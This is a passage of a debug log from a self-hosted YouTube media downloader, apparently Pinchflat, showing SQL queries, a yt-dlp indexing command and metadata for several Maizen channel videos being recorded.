{"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:46.933 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.069 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:34:02.041 [info] {"args":{"id":2},"id":17066,"meta":{},"system_time":1787186042041317827,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:34:02.041 [debug] QUERY OK source="sources" db=0.2ms idle=1758.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:02.042 [debug] QUERY OK source="settings" db=0.1ms idle=1008.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:34:02.044 [debug] QUERY OK source="media_items" db=1.7ms idle=758.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:34:02.044 [debug] QUERY OK source="media_items" db=0.6ms idle=9.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 17:34:02.045 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:02.045 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:34:02.046 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:34:02.052 [debug] QUERY OK source="media_items" db=1.2ms idle=6.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [2] 17:34:02.053 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 17:34:02.053 [debug] Current batch of media processed. Will check again in 1000ms 17:34:02.054 [debug] QUERY OK source="settings" db=0.1ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:34:02.054 [debug] QUERY OK source="settings" db=0.1ms idle=8.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:34:02.054 [debug] QUERY OK source="settings" db=0.1ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:34:02.054 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@maizenofficial --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/0b/f9/0bf978c8b784b5760ecb06d29e795d4bb34eef2216a7c4ad72bf5d6980067944.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/49/f5/49f52f8981b3e3f3c0fd6c7726214c1123a1625e2203a3eb037b4d81c1af84bc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:34:03.054 [debug] Current batch of media processed. Will check again in 1000ms 17:34:04.055 [debug] Current batch of media processed. Will check again in 1000ms 17:34:05.056 [debug] Current batch of media processed. Will check again in 1000ms 17:34:06.057 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 976, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", "id" => "2-aPfodzXeE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2-aPfodzXeE", "playlist_index" => 1, "timestamp" => 1787043612, "title" => "Why JJ And Mikey Ate ENTIRE World?", "upload_date" => "20260818"} 17:34:06.058 [debug] QUERY OK source="sources" db=0.2ms idle=774.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:06.058 [debug] QUERY OK source="sources" db=0.2ms idle=775.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:06.060 [debug] QUERY OK source="media_items" db=1.3ms idle=775.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-18 09:00:12Z], 2] 17:34:06.061 [debug] QUERY OK source="media_items" db=0.7ms idle=777.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "1208d54d-3a7c-4626-8485-6206c421deab", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", 1, "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, false, false, 2, [], 98, ~U[2026-08-18 09:00:12Z], ~U[2026-08-20 00:34:06Z], ~U[2026-08-20 00:34:06Z], "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, 2, ~U[2026-08-18 09:00:12Z]] 17:34:06.061 [debug] QUERY OK source="sources" db=0.2ms idle=21.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:06.062 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:06.062 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [482073] 17:34:06.062 [debug] Current batch of media processed. Will check again in 1000ms 17:34:07.063 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1231, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", "id" => "SYBhOxduPUg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=SYBhOxduPUg", "playlist_index" => 2, "timestamp" => 1786852811, "title" => "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "upload_date" => "20260816"} 17:34:07.064 [debug] QUERY OK source="sources" db=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:07.064 [debug] QUERY OK source="sources" db=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:07.066 [debug] QUERY OK source="media_items" db=1.4ms idle=1002.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 04:00:11Z], 2] 17:34:07.067 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "1e9f4009-cc53-4ae4-9b54-c936e1e98b46", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", 2, "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, false, false, 2, [], 98, ~U[2026-08-16 04:00:11Z], ~U[2026-08-20 00:34:07Z], ~U[2026-08-20 00:34:07Z], "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, 2, ~U[2026-08-16 04:00:11Z]] 17:34:07.067 [debug] QUERY OK source="sources" db=0.1ms idle=26.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:07.067 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:07.068 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [472253] 17:34:07.068 [debug] Current batch of media processed. Will check again in 1000ms 17:34:08.069 [debug] Current batch of media processed. Will check again in 1000ms 17:34:09.070 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1360, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", "id" => "TEmV_KQkWXY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TEmV_KQkWXY", "playlist_index" => 3, "timestamp" => 1786797076, "title" => "BUILDING The SAFEST BASE to Survive in Roblox", "upload_date" => "20260815"} 17:34:09.070 [debug] QUERY OK source="sources" db=0.1ms idle=787.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:09.071 [debug] QUERY OK source="sources" db=0.2ms idle=787.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:09.073 [debug] QUERY OK source="media_items" db=1.5ms idle=787.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-15 12:31:16Z], 2] 17:34:09.074 [debug] QUERY OK source="media_items" db=0.7ms idle=789.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "53690f5b-84cd-4f7f-a6b5-a6d18a8db56a", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", 3, "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, false, false, 2, [], 98, ~U[2026-08-15 12:31:16Z], ~U[2026-08-20 00:34:09Z], ~U[2026-08-20 00:34:09Z], "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, 2, ~U[2026-08-15 12:31:16Z]] 17:34:09.074 [debug] QUERY OK source="sources" db=0.1ms idle=31.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:09.074 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:09.075 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [469491] 17:34:09.075 [debug] Current batch of media processed. Will check again in 1000ms 17:34:10.076 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 4713, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", "id" => "DmxYE_YOLQ8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "playlist_index" => 4, "timestamp" => 1784777301, "title" => "JJ vs. Mikey", "upload_date" => "20260723"} 17:34:10.077 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", 